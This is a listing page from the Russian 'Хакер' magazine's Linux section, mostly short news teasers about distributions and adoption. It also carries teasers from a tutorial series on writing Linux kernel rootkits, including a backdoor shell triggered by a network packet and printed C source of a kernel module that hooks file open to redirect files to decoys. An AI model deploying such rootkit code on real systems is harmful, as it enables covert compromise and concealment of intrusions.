Главная Linux (страница 39)

Linux

RH Linux 7.3: для дома, для семьи

Почему именно рассказ об оптимизации и о 7.3, а не о чем либо другом? Почему об оптимизации, начальной настройке читайте ниже, а почему 7.3? Наверное потому, что это самый удачный дистрибутив (из РедХат-подобных) для машин с процессорами ниже 1 Ггц и памятью менее 128Мб, сохраняющий оптимальное соотношение простота/скорость/актуальность

Linux — азиатский ответ M$

Представители стран Китая, Японии и Южной Кореи в эту субботу провели встречу в Пекине для обсуждения планов по раскрутке оп…

Исследование взломанной Linux системы №1

Расследуя взлом системы можно столкнутся с ситуацией, когда скомпрометированная система еще не выключена пользователем или администратором. На самом деле это уникальный шанс собрать много важной информации, которая после перезагрузки будет потеряна

Новый SuSE Linux

Компания Novell объявила о выходе новой версии дистрибутива SuSE Linux с номером версии 9.

Linux для марсохода

Linux обеспечивает инфраструктуру, стоящую за передачей изображений с марсохода Mars Rover и за миссией Европейского космиче…

Linux для работы и быта

Разработчики программного обеспечения Wind River Systems и Red Hat заявили на прошлой неделе о начале сотрудничества. Он…

ASPLinux от 1C

Компании ASPLinux и фирма «1С» объявили о начале совместной работы.

Кодим в ядре Linux`а №7

Hi! Итак, сегодня мы поговорим о том, как собрать все изученные фишки вместе и закодить полноценный руткит. Любой руткит должен уметь делать хотя бы 3 базовые фишки:

Бундесы переходят на Linux

Компания IBM и Министерство финансов ФРГ заключили крупный контракт на поставку компьютерного оборудования на базе операцион…

Linux через ХР

25 января в рассылке разработчиков ядра Linux (LKML) было объявлено о возможности запуска ядра Linux как отдельного процесса…

Кодим в ядре Linux`а №6

Получение и отправление сетевых пакетов в ядре. Существует несколько способов посылать и принимать пакеты в ядре. Например, используя возможности встроенного firewall'а. Но лично мне больше нравится метод инсталяции своего packet handler'а (обработчика пакетов)

Кодим в ядре Linux`а №5

Hola, amigos! Запуск обычных user-land программ из ядра. Зачем это нужно? Для того чтобы, например, запускать shell или любой другой backdoor по получению специального пакета из сети. Из ядра можно запускать любые проги, в том числе интерпретатор языка Perl для выполнения скриптов

Кодим в ядре Linux`а №4

/* Redir by Alekz Under (skleroz@pisem.net) This module allows you to redirect files in your system. */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/version.h> #include <linux/string.h> // include файлы нужные для работы с файловой системой #include <linux/slab.h> #include <linux/locks.h> #include <linux/fd.h> #include <linux/fs.h> #include <linux/smp_lock.h> struct file_operations * fop; struct file_operations orig_fop; struct nameidata kernel_nd; // структкра в которой мы будем хранить имена и иноды настоящего и обманного файлов struct redirect_struct { long int orig_ino, redir_ino; char * orig_fname, * redir_fname; struct redirect_struct *next, *prev; }; struct redirect_struct *redirects; int redirect_add(char *orig, char *redir); void redirect_del(char *orig); int wrap_open(struct inode *ino, struct file *filp); // эта функция по названию файла находит номер его inode'а long int get_inode_num(char *filename) { int err; long int inode_num; struct nameidata nd; if (path_init(filename, 0, &nd)) err = path_walk(filename, &nd); if (err) return 0; inode_num = nd.dentry->d_inode->i_ino; path_release(&nd); return inode_num; } int wrap_open(struct inode *ino, struct file *filp) { struct redirect_struct *redir; // просматриваем список редиректов // вместо связного списка можно использовать массив for(redir = redirects; redir != NULL; redir = redir->next) { // открываемый файл есть в нашем списке редиректов?  if(filp->f_dentry->d_inode->i_ino == redir->orig_ino) { int ret; struct nameidata nd; // открываем обманный файл if (path_init(redir->redir_fname, 0, &nd)) ret = path_walk(redir->redir_fname, &nd); if (ret) /*error! файл не найден!*/ return -1; /* orig_fop.open(ino, filp); */ lock_kernel(); // закрываем настоящий файл dput(filp->f_dentry); // заменяем структуры так, что данные будут читаться из обманного файла, а не из настоящего filp->f_dentry = nd.dentry; unlock_kernel(); } } // вызываем настоящую open return orig_fop.open(ino, filp); } // эта функция добавляет файлы для редиректа в список int redirect_add(char *orig_fname, char *redir_fname) { struct redirect_struct *redir, *tmp; // заказываем память для структуры redir = kmalloc(sizeof(struct redirect_struct), GFP_ATOMIC); if(!redir) return -1; // память для имен файлов redir->orig_fname = kmalloc(strlen(orig_fname)+1, GFP_ATOMIC); redir->redir_fname = kmalloc(strlen(redir_fname)+1, GFP_ATOMIC); if(!redir->orig_fname || !redir->redir_fname) { kfree(redir); return -1; } strcpy(redir->orig_fname, orig_fname); strcpy(redir->redir_fname, redir_fname); // определяем номера инодов redir->orig_ino = get_inode_num(orig_fname); redir->redir_ino = get_inode_num(redir_fname); if(!redir->orig_ino || !redir->redir_ino) { kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return -1; } if(!redirects) { redirects = redir; redirects->next = NULL; redirects->prev = NULL; return 0; } // ищем место куда воткнуть структуру редиректа // код сложный, так как производится сортировка по номерам inode'в, что бы быстрее просматривать этот список в wrap_open for(tmp = redirects; tmp->next != NULL; tmp = tmp->next) { if(tmp->orig_ino < redir->orig_ino) { redir->next = tmp; if(tmp == redirects) { redir->prev = NULL; redirects->prev = redir; redirects = redir; } else { redir->prev = tmp->prev; tmp->prev->next = redir; } return 0; } else if(redir->orig_ino == tmp->orig_ino) { // уже редиректим этот файл kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return 0; } } // все номера inode'ов настоящих файлов больше redir->orig_ino - просто добавить структуру в конец списка redir->next = tmp->next; redir->prev = tmp; tmp->next = redir; return 0; } // эта функция удаляет структуру-редиректа из списка void redirect_del(char *orig) { struct redirect_struct *tmp; long int orig_ino = get_inode_num(orig); for(tmp = redirects; tmp != NULL; tmp = tmp->next) { if(tmp->orig_ino == orig_ino) { // нашли..

Кодим в ядре Linux`а №3

Хай пиплы! Эта статья посвящается классным girls: Юле, двум Аням, Наташе и Тане :-) Если ты не читал первую и вторую части, рекомендую все-таки прочитать ее перед тем как читать эту. После публикации первой части ко мне пришли письма с вопросами, поэтому я решил начать эту часть с нескольких советов по поводу часто встречающихся проблем: Если немножко не совпадают версии ядра с которым работаешь и для которого был скомпилирован модуль и insmod module.o пишет что-то типа:

Linux kernel эксплоит

Paul Starzetz и Wojciech Purczynski из польской группы iSEC Security Research сообщают об обнаружении уязвимости в ядрах Lin…

Бразилия переходит на Linux

Одним из главных направлений информатизации Бразилии должно стать широкое внедрение программного обеспечения с открытым исхо…

Еще один Linux

По информации с linux.org.ru, активистом движения Opensource Брюсом Перенсом была предложена новая версия дистрибутива Linux…

Тайландский удар Linux

Во втором квартале 2003 года всего на 40 процентах всех настольных ПК, продававшихся в Тайланде, была установлена лицензионн…

В Китае будет свой Linux

Правительство Китая планирует выделить средства на разработку операционной системы на основе Linux, которая может составить …

L.A.S. Linux

L.A.S. Linux - некое подобие нашего RTK, система на одном CD с более чем 250 security утилитами для тестирования, администрирования, мониторинга и т.д. В ее состав например входит: etherape, mozillafirebird, argus-server, argus-client, arpwatch, bfbtester, cabextract, cflow, dlint, farpd, recover, gtkrecover, nasm, nast, strace, ltrace, sudo,valgrind, pnscan, isic, splint, sendip, scli, scanssh, rarpd, wellenreiter,router-audit-tool, httpush, bass, scansort, scanerrlog, idsa / idsaguardgtk, crank (for fun), ccrypt, ntfstools, pasmal, bruth, hlfl, less, smbfs, smstools, LinNeighborhood, snmp, snmpd, driftnet, Dillo, admsmp, admsnmp,arptool, di, hammerhead, flawfinder, foremost, md5deep, binutils, findutils,file, gall, libpst, libdbx, rda, ntreg, memfetch, stegdetect, mkpersistenthome, mkdosswap, pv, cscope, scanlogd, cgrep, bsed, vlad, warscan, zodiac, angst, hackbot, mieliekoek.pl, screamingcobra.pl, cmospwd, macchanger, vomit, atmelwlandriver, wlcardconfig, sshstart-knopp и так далее и тому подобное...

Страница 39 из 42В начало...1020303738394041 ...
Tbank IT Picnic

Рассылка

Важные события и скидка на подписку:

Форма защищена SmartCaptcha

«ХАКЕР» ДОСТУПЕН ТОЛЬКО В ЭЛЕКТРОННОЙ ВЕРСИИ
Оформи подписку — получи:
  • доступ к платным материалам сайта
  • доступ ко всем номерам PDF
6000 р.
на год
950 р.
на месяц

«Хакер» в соцсетях

Материалы для подписчиков